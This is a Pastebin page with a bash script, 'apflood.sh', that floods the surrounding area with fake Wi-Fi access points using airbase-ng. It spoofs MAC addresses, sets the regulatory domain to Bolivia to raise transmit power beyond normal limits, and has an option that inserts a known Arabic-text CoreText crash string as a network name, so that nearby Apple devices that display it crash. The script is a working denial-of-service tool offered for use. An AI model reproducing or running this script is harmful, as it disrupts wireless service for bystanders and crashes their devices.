Advertisement
opexxx

apflood.sh

Mar 10th, 2014
223
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 4.66 KB | None | 0 0
  1. #!/bin/bash
  2.  
  3. fexit()                                                                 #Clean temp files and exit
  4. {
  5.     echo
  6.     rm -rf tmpe 2> /dev/null
  7.     rm bssids 2> /dev/null
  8.     rm mangled 2> /dev/null
  9.     killall -9 airbase-ng 2> /dev/null
  10.     airmon-ng stop $MON1 | grep fff
  11.     echo $RED" [*] $MON1 has been shut down,$GRN Goodbye...$RST"
  12.     exit
  13. }
  14.  
  15. fhelp()
  16. {
  17.     echo $GRN"""APSpam - Flood Area with fake APs$RST
  18.    
  19. Usage - apspam <options>
  20.         -i <nic>    ~  interface to use
  21.         -f <file>   ~  file of essid names to use
  22.         -m <word>   ~  mangle word and use list as essids
  23.         -x      ~  enable osx coretext expliot (DoS 2013)
  24. ";exit
  25. }
  26.  
  27. fmangle()                                                               #Mangle a word and get 30 permutations
  28. {
  29.     if [ $WORD -z ] 2> /dev/null
  30.     then
  31.         read -p $BLU""" [*] Please enter the word to mangle:
  32.  >"$RED WORD
  33.     fi
  34.     echo $GRN" [*] Mangling $RED$WORD$GRN.."
  35.     LEN=$(echo $WORD | wc -c)
  36.     LEN=$((LEN - 1))
  37.     crunch $LEN $LEN 01 -o binmap 2> /dev/null
  38.     BINMAP=$(cat binmap | head -n 30)
  39.     rm binmap
  40.     rm mangled 2> /dev/null
  41.     LETTERS="$(echo -e $WORD | sed 's/\(.\)/\1\n/g')"
  42.     PLACE=0
  43.     for PATTERN in $BINMAP
  44.     do
  45.         PATMAP="$(echo -e $PATTERN | sed 's/\(.\)/\1\n/g' | head -n -1)"
  46.         for BIT in $PATMAP
  47.         do
  48.             SPLACE=$((PLACE + 1))
  49.             LET=$(echo "$LETTERS" | sed -n "$SPLACE"p)
  50.             if [ $BIT = 1 ] 2> /dev/null
  51.             then
  52.                 echo ${LET^} >> onemang
  53.             else
  54.                 echo $(echo $LET | tr '[:upper:]' '[:lower:]') >> onemang
  55.             fi
  56.             PLACE=$((PLACE + 1))
  57.         done
  58.        
  59.         if [ $PLACE -ge $LEN ] 2> /dev/null
  60.         then
  61.             PLACE=0
  62.             cat onemang >> mangled
  63.             echo \ >> mangled
  64.             rm onemang
  65.         fi
  66.     done
  67.  
  68.     SORT=$(cat mangled | tr -d '\n')
  69.     echo "$SORT" | tr ' ' '\n' | tail -n +1 | uniq | head -n -1 > mangled
  70.     LIST='mangled'
  71. }
  72.  
  73. fbssids()                                                               #Generate 30 pseudo-random MAC addresses
  74. {
  75.     ONE='86';TWO='80';THREE='C4';FOUR='7D';FIVE='DC';SIX='14';SEVEN='70';EIGHT='9A';NINE='02';ZERO='E0'
  76.     ONE1='7F';TWO1='1C';THREE1='4A';FOUR1='B7';FIVE1='D1';SIX1='33';SEVEN1='03';EIGHT1='5A';NINE1='D8';ZERO1='21'  
  77.     RAND=$(strings /dev/urandom | grep -o '[0-9]' | head -n 150)
  78.     CHK=1
  79.     CNT=1
  80.     for CHAR in $RAND
  81.     do
  82.         if [ $CHK = 1 ] 2> /dev/null                                   
  83.         then
  84.             case $CHAR in
  85.                 0)CHAR=$ONE;;1)CHAR=$TWO;;2)CHAR=$THREE;;3)CHAR=$FOUR;;4)CHAR=$FIVE;;5)CHAR=$SIX;;6)CHAR=$SEVEN;;7)CHAR=$EIGHT;;8)CHAR=$NINE;;9)CHAR=$ZERO
  86.             esac
  87.             CHK=0
  88.         else
  89.             case $CHAR in
  90.                 0)CHAR=$ONE1;;1)CHAR=$TWO1;;2)CHAR=$THREE1;;3)CHAR=$FOUR1;;4)CHAR=$FIVE1;;5)CHAR=$SIX1;;6)CHAR=$SEVEN1;;7)CHAR=$EIGHT1;;8)CHAR=$NINE1;;9)CHAR=$ZERO1
  91.             esac
  92.             CHK=1
  93.         fi
  94.         if [ $CNT = 1 ] 2> /dev/null
  95.         then
  96.             BSSID=$BSSID$CHAR
  97.         else
  98.             BSSID=$BSSID':'$CHAR
  99.         fi
  100.         if [ $CNT = 5 ] 2> /dev/null
  101.         then
  102.             echo $BSSID >> bssids
  103.             BSSID='00:'
  104.             CNT=0
  105.         fi
  106.         CNT=$((CNT + 1))
  107.     done
  108. }              
  109.  
  110. trap fexit 2
  111.  
  112. ACNT=1                                                                  #Parse command line arguments
  113. for ARG in $@
  114. do
  115.     ACNT=$((ACNT + 1))
  116.     case $ARG in "-i")NIC=$(echo $@ | cut -d " " -f $ACNT);;"-f")FILED=1;LIST=$(echo $@ | cut -d " " -f $ACNT);;"-m")MANGLE=1;WORD=$(echo $@ | cut -d " " -f $ACNT);;"-x")OSX=1;esac
  117. done
  118.  
  119. iw reg set BO
  120. RED=$(echo -e "\e[1;31m")
  121. BLU=$(echo -e "\e[1;36m")
  122. GRN=$(echo -e "\e[1;32m")
  123. RST=$(echo -e "\e[0;0;0m")
  124.  
  125. if [ $1 -z ] 2> /dev/null || [ $2 -z ] 2> /dev/null
  126. then
  127.     fhelp
  128. fi
  129.  
  130. if [ $MANGLE = 1 ] 2> /dev/null                                         #Get list of essids
  131.     then
  132.         if [ ! -z $FILED ] 2> /dev/null
  133.         then
  134.             echo ' [*] -m and -f tags cannot be used together!'
  135.             fexit
  136.         else
  137.             fmangle
  138.         fi
  139.     else
  140.         if [ $FILE -z ] 2> /dev/null                                   
  141.         then
  142.             echo
  143.             echo $BLU" [*] Please enter AP names seperated by '*' eg$RED one$BLU*"$RED"two$BLU*"$RED"three"
  144.             read -p " > "$RED LIST
  145.             echo $LIST | tr '*' '\n' > tmpe
  146.             LIST='tmpe'
  147.         fi
  148. fi
  149.                                                                         #Add OsX coretext exploit into essids
  150. if [ $OSX = 1 ] 2> /dev/null
  151. then
  152.     echo "$(cat $LIST)" > tmpe
  153.     echo 'سمَـَّوُوُحخ ̷̴̐خ ̷̴̐خ ̷̴̐خ امارتيخ ̷̴̐خ' >> tmpe
  154.     LIST='tmpe'
  155. fi                                                                      #Start monitor mode and boost power on wireless card
  156.                                                                        
  157. echo $GRN;MON1=$(airmon-ng start $NIC | grep monitor | cut -d ' ' -f 5 | head -c -2);echo " [*] Started $NIC monitor on $MON1"
  158. echo
  159. echo $GRN" [*] Changing MAC and attempting to boost power on $NIC"
  160. ifconfig $NIC down
  161. macchanger -a $NIC 2> /dev/null
  162. sleep 0.5
  163. iwconfig $NIC txpower 30 2> /dev/null
  164. sleep 0.5
  165. ifconfig $NIC up
  166. ifconfig $MON1 down
  167. macchanger -a $MON1 2> /dev/null
  168. BSSID='00:'
  169. ifconfig $MON1 up                            
  170. fbssids                                                                 #Launch APs with airbase-ng
  171.  
  172. airbase-ng -i $MON1 -0 -I 50 -P --essids $LIST --bssids bssids -x 200 $MON1 | grep 'fff'&
  173. sleep 0.5
  174. echo
  175. echo $GRN" [*] APs Launched:"$RED
  176. cat $LIST | tr '\n' " "
  177. echo
  178. read -p $GRN" [*] Press Enter or Ctrl+C to clean up"
  179. fexit
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement